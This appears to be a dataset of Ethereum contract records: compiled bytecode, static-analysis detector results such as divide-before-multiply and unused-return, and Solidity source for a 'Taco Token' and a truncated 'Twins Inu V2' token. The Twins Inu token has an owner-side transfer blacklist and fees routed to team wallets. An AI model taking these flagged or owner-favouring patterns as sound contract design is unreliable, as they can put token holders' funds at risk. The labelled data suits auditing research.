ffffffff6120e316565b905061117a565b50600160a060020a03811660009081526002602052604090205461117a565b6000813b908111905b50919050565b600160a060020a0333166000908152600260205260408120548190849010156121e457600080fd5b600160a060020a03331660009081526002602052604090205461220d908563ffffffff6120d116565b600160a060020a033381166000908152600260205260408082209390935590871681522054612242908563ffffffff6120e316565b600160a060020a03861660008181526002602052604080822093909355879350909163c0ee0b8a9133918891889151602001526040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156122e25780820151838201526020016122ca565b50505050905090810190601f16801561230f5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b151561232f57600080fd5b6102c65a03f1151561234057600080fd5b505050604051805190505084600160a060020a031633600160a060020a03166000805160206128ba8339815191528660405190815260200160405180910390a3826040518082805190602001908083835b602083106123b05780518252601f199092019160209182019101612391565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a031660008051602061289a8339815191528760405190815260200160405180910390a4506001949350505050565b600160a060020a0333166000908152600260205260408120548390101561244257600080fd5b600160a060020a03331660009081526002602052604090205461246b908463ffffffff6120d116565b600160a060020a0333811660009081526002602052604080822093909355908616815220546124a0908463ffffffff6120e316565b600160a060020a0380861660008181526002602052604090819020939093559133909116906000805160206128ba8339815191529086905190815260200160405180910390a3816040518082805190602001908083835b602083106125165780518252601f1990920191602091820191016124f7565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a031660008051602061289a8339815191528660405190815260200160405180910390a45060019392505050565b601154600090819060ff1615801561259c5750600854600954105b80156125c15750600160a060020a03831660009081526004602052604090205460ff16155b1561276957600a54600e54600b546125de9163ffffffff61204316565b11156125eb57600a54600b555b600a54600e54600b546126039163ffffffff61204316565b111561260e57600080fd5b600e54600b546126239163ffffffff61204316565b600954909150612639908263ffffffff6120e316565b600955600a5461264f908263ffffffff6120d116565b600a55600160a060020a03831660009081526002602052604090205461267b908263ffffffff6120e316565b600160a060020a0384166000818152600260205260409081902092909255907ffa5e01f08a8782fe53fd0751b65f3368753770420396986860c20126f1a799649083905190815260200160405180910390a2600160a060020a03831660006000805160206128ba8339815191528360405190815260200160405180910390a3600081111561272757600160a060020a0383166000908152600460205260409020805460ff191660011790555b60085460095410612740576011805460ff191660011790555b61275d600d54610ba4600c54600b5461202c90919063ffffffff16565b600b55600191506121b6565b50600092915050565b601154600090819060ff1615801561278d5750600854600954105b1561276957600a54600f54600b546127aa9163ffffffff61204316565b11156127b757600a54600b555b600a54600f54600b546127cf9163ffffffff61204316565b11156127da57600080fd5b600f54600b546126239163ffffffff61204316565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061284257805160ff191683800117855561286f565b8280016001018555821561286f579182015b8281111561286f578251825591602001919060010190612854565b5061287b92915061287f565b5090565b61133c91905b8082111561287b5760008155600101612885560052c0dd07fdf543ec6918baccf2b6895fff59b122727847159223bdb1b8525bbdddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820e8e2949353c6c6ac27315d38258cc77b57a479280228ed85b7ed4cc6e95d1ed60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,441 |
0x93b9e878ac33caea776aa05cf46e7d15ec6c9dec
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TacoToken is MintableToken {
string public name = "Taco Token";
string public symbol = "TACO";
uint8 public decimals = 0;
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ec565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b6102136107de565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e8565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610ba2565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb5565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d9b565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061102c565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611074565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b61041261113c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611162565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611200565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061141f565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061161b565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116a2565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e45780601f106106b9576101008083540402835291602001916106e4565b820191906000526020600020905b8154815290600101906020018083116106c757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561082557600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108fd57600080fd5b61094e826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fa90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ab282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fa90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1357600080fd5b600360149054906101000a900460ff16151515610c2f57600080fd5b610c448260015461181390919063ffffffff16565b600181905550610c9b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610eac576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f40565b610ebf83826117fa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110d257600080fd5b600360149054906101000a900460ff161515156110ee57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111f85780601f106111cd576101008083540402835291602001916111f8565b820191906000526020600020905b8154815290600101906020018083116111db57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561123d57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561128a57600080fd5b6112db826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117fa90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006114b082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116fe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561173a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561180857fe5b818303905092915050565b600080828401905083811015151561182757fe5b80915050929150505600a165627a7a723058209605df8d118de6fa81db36e2ce727b4c623e23db7cbe250de3a0c2f9e00b3c0f0029
|
{"success": true, "error": null, "results": {}}
| 4,442 |
0x2a6aea3f62e74eea519aed0aba94b46da3b7cb77
|
/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
//Twins Inu ($TWINS)
//Powerful Bot Protect yes
//2% Deflationary yes
//Telegram: https://t.me/twins_inu_official
//Rewards for every 100th buyers
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TwinsInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Twins Inu V2";
string private constant _symbol = "TWINS2";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 2;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
